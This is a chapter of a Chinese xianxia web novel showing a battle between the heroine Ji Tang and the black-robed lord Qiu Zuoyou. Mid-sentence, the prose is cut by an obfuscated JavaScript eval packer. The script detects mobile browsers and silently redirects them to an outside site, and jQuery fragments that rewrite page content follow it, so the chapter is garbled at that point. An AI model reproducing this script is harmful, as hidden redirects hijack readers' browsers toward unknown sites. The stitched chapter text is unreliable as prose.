156. 第 156 章
作品:《一觉醒来我成了仙尊的心魔》 黑衣领主在满是幻蝶眼睛的黑色骨牢里观察,蝶眼分布骨牢各处,瞳孔无一例外都对准了他。
他与其中一只眼睛在空中撞个正着,接着人便出现在一条肮脏杂乱的小巷子里。
他晃神片刻,这里的每一寸土地他都非常熟悉,他低头看自己的双手——是一双孩童的手。
他背靠土墙,人正缩在狭窄的阴影里。
他的意识还算清醒,知道自己中了迹棠的幻术,回到久远的童年。
那时他脆弱不堪,活成人人都能踩一脚的泥,为一口水挨一顿打,每次都蜷缩在巷子肮脏的角落入睡,却不知道自己下次还会不会醒来。
这里是川黄州夏洺国,是他被正坤派弟子捡回门派的地方,也是他成就霸业,位列仙班的起点。
小巷尽头传来脚步声,很快他头顶便被一片阴影笼罩。
正坤派的几个弟子正嫌恶地看着他。
他们居高临下,审视他的眼神像是在看什么肮脏恶心的垃圾。
领头的人问他:“几岁了?”
他直视对方,没有回答。
片刻后,他看见对方扭曲的脸。
也将手中锋利的尖刃捅得更深!
他已经不是那个唯唯诺诺的小叫花子。
这些蝼蚁既然出现,就注定会死——即便在幻境中也应如此。
*
血红色法阵内,迹棠察觉骨牢异动,立刻停止操控魇兽。
骨牢出现‘噼啪’响动,由幻蝶残骸形成的血肉开始出现裂痕,裂痕自上而下,透出里面墨紫色的幽光。
不消片刻,幽光便被另一道刺眼光芒吞吃干净,骨牢也承受不住,猛然炸开,幻蝶残骸被炸得到处都是。
在她不远处静止的七颗璇光珠突然动了。
破风声来到迹棠面前,迹棠马上抵御,但仍被它强悍的攻势逼退数步。
黑衣领主从幻蝶残骸中走出来,操控璇光珠继续逼近迹棠。
七颗璇光珠旋转时,仙气更加浓郁。
迹棠知道这是黑衣领主加大了仙气的输出量。
以璇光珠散发的仙气来看,黑衣领主应是要用这道攻击分出个胜负了。
对黑衣领主来说,结束战斗前自是要取下迹棠性命。
魇气与仙气看似在相互抗衡,但本质还是有所不同。
仙气含有法则之力,这是魇气无法企及的一点。它虽无法凌驾魇气太多,但威力着实霸道凌厉。
黑衣领主动了杀心,要一举将她毙于璇光珠之下。
迹棠的防御法术与璇光珠正僵持,忽然见黑衣领主又有动作,她来不及多想,下意识便操控魇气倾巢而出,也在此时,密密麻麻的银色冰锥向她撞来。
她闷哼一声,嘴角落下血痕。
她操控血红色阵法极速缩小,阵法内一道道红色光束得到命令,很快奔往黑衣领主所在之处,它们不断靠近他,也不断被他打散。
即便如此,还是有些光束缠绕上黑衣领主的身体。
血红色法阵还在缩小,法阵的能量罩穿过迹棠身体,只将黑衣领主包围。
外面众人终于看到了魇尊的身影,一时间惊呼四起,视线全部集中在她身上。
她此刻的情况也完全展露在众人面前。
七颗璇光珠挟肃杀之气碾向迹棠的防御,她边抵挡,边继续操控血红色法阵缩小。
有些观察细致的,已经注意到她嘴角流下的血痕。
黑衣领主同样分出精力对付缩小的血极万籁阵。
迹棠却不给他时间,她右手手诀变化,五指收拢,最终紧紧握成拳,“给我爆!”
血极万籁阵骤然爆炸。
爆炸的气浪将柳雾疏一众掀翻。
他们先前被宿尽舟强行阻止结阵,血魂焚墟阵还没有搭成阵法骨架就已溃散,众人除了被溃散的阵法波及些许,幸而不会受到反噬。
他们没有选择飞回护山大阵,而是要与魇尊一同御敌。
可当他们终于见到迹棠身影,都还来不及进一步动作,就已经在血极万籁阵爆炸的气浪中万分狼狈。
柳雾疏灵力翻涌,险些逆流。
他神情苦涩,在接近天道规则的战斗中,他们只有被碾压和被震慑的份。
柳雾疏回头看向护山大阵内的宿尽舟。
顾岩和众多弟子正护在他身周,为他护法。
宿尽舟阻止血魂焚墟阵后便进入护山大阵疗伤。
迹棠给他的魇牌中有飞升时磅礴凝实的仙气,可补足和修复他分离受损的元神本体。
柳雾疏知道宿尽舟心急,可他再心急,也要恢复实力才能与迹棠并肩而战。
另一边,爆炸的气浪渐渐趋于平静,黑衣领主在燃起的橙红火焰里拽下了破损的斗篷。
迹棠也看见了他的脸。
这张脸过于年轻,看上去最多三十出头。
他面容温润清隽,初看是张毫无攻击力的脸,但那双眼睛却是十足的冰冷森然,落在迹棠身上时锐利无比,气势迫人。
黑衣领主此刻满是厌烦和不耐,此外还有一丝连他自己都未能察觉的焦躁。
他向迹棠走去。
璇光珠随他步调压进迹棠的防御术法里,圆润宝珠破开能量屏障,一半的圆珠已经嵌了进去。
迹棠只得用全部心神抵御七颗璇光珠,不料黑衣领主竟还有余力去操控九州总阵!
倾斜在天空的九州总阵再一次下落。
迹棠无法,再次分出精力操控魇兽扑灭总阵光芒,同时望向黑衣领主。
他们实力相当,她不该被逼到如此地步。
迹棠的视线落在黑衣领主身上,暗道一句“果然”。
他并没有表现得那么轻松,脸上已和迹棠一样没了血色,而且被风吹起的衣袖中,那截骨节分明的手指正在颤抖。
“你还有时间看别的地方?”
黑衣领主划破虚空,短距离瞬移到迹棠身前。
迹棠猛地一颤,抬眸时,黑衣领主已经将手掌附于璇光珠外,璇光珠转瞬就被他全部推进了防御术法里。
眼看七颗璇光珠就要钉进迹棠身体,她不退反进,在黑衣领主睁大的眸子里发了狠,魇气尽数集中在手臂,随即轰向他!
她手臂绷直,衣袖被血溅出好大一片,血液很快浸透布料,扩散到更大范围。
黑衣领主不可置信道:“你……”
一直注意战况的众人无不倒吸一口凉气。
魇尊的手臂直接贯穿了黑衣领主的前胸!
如果黑衣领主挪动再慢上半分,现在肯定已经断气了。
而魇尊也被五颗璇光珠钉进身体,只躲过了其中的两颗。
柳雾疏忧惧交加。
多少年了,迹棠这种伤敌一千自损八百的狠劲依旧没变。
他毫不怀疑,如果情势更加危急,她伤敌八百自损一千也是干得出来的。
迹棠张了张嘴,却没能发出声音。
五颗璇光珠分别打入她天冲魄、灵慧魄、气魄、力魄和中枢魄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15764261|174512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
想来七颗璇光珠应是对应人体七魄,也就是要打入人体的七个脉轮之上。
她躲过其中两颗,想来黑衣领主还不能施展夺魄之法。
且她元神强悍,又以魇气护于体内,目前尚能撑住。
只是其中一颗璇光珠钉在了她的气魄上,使她无法出声,呼吸也不太顺畅。
她没有任何迟疑,穿透黑衣领主前胸的手臂一鼓作气,从他背后伸出,接着弯曲小臂,手呈爪形,落在黑衣领主的后心位置。
她手段称得上残忍,可心情却毫无波澜。
黑衣领主为了实现自己的权利和欲望造了多少杀孽?
他这具分身也该从修真界彻底消失了。
待迹棠无所牵挂,将来真正走过迎仙桥飞升成仙时,也定要他本体付出代价!
迹棠五指穿过黑衣领主的外衣,穿过他的皮肉,向那颗跳动的心脏探进。
黑衣领主脸色煞白,疯了般催动五颗璇光珠。
迹棠动作随之凝滞。
她意识模糊,识海也变得混沌不清。
喉咙似有刀割,心脏像被用力攥紧。这种剧痛本应立刻反馈给迹棠,但她模糊的意识却没能第一时间感觉到。
她无法控制双手双脚,被动地呆站在原地,丹田里的魇魂丹运转越发缓慢,魇气受阻。
黑衣领主紧紧抓住迹棠手臂。
他垂眸看向自己的手——青筋迸发,正止不住地颤抖。
他多久没这么狼狈过了?
他知道,自己已经快要穷途末路了。
他眼中狠意一闪而过,接着便咬牙将迹棠的手臂从胸膛中抽出。
他呼出的气息断断续续,血腥气不断顺着喉咙上涌,他想要把血气压下去,却猝不及防呛住,猛烈咳嗽起来,血也随之喷溅在迹棠身上。
黑衣领主抓着迹棠的手臂越来越用力。
他眼底血色弥漫,将她的手臂弯曲成一个不自然的角度,已经超过人体承受限度之外。
“不好!”柳雾疏御剑疾飞,想要去阻止黑衣领主的动作,然而还没靠近,就已经被恐怖的能量弹开。
这一切发生得太快,除了柳雾疏,其他人都没能及时做出反应。
迹棠的手臂发出几道沉闷的‘咔嚓’声,显然已到极限。
黑衣领主脸上浮起一抹快意的笑。
他恨不得把全身力气都用在手上,他要把迹棠碎尸万段!
迹棠浑浊的双眼突然闪过亮光。
没想到唤醒她的会是身体各处传来的剧痛。
就在她手臂即将被黑衣领主掰断撕裂时,一柄龙首冰刃横在两人之间,并且飞快切断了黑衣领主的手腕!
她猛地后跃,左手托住右肩肩膀,一下将脱臼的手臂掰回正轨。
在她对面,黑衣领主失去一只手,手腕伤口被切割得非常平整,鲜血喷涌而出。
迹棠哑声说道:“你太不了解自己的敌人了,老头。”
修真界向来是低阶法术单手掐诀,高阶法术双手掐诀。修真之人向来如此,观念早已根深蒂固,即便位列仙班,这长久以来形成的习惯也不可能变。
但迹棠不在其列。
她微扬下巴,直呼其名,“我单手也能干掉你,邱左幽。”
柳雾疏被两位长老搀扶起身,艰难地吐出口气。
他看着迹棠满身狼狈却依旧骄横跋扈的模样,提到嗓子眼的心终于回落一些。
这孩子真是……都什么时候了,竟还要挑衅。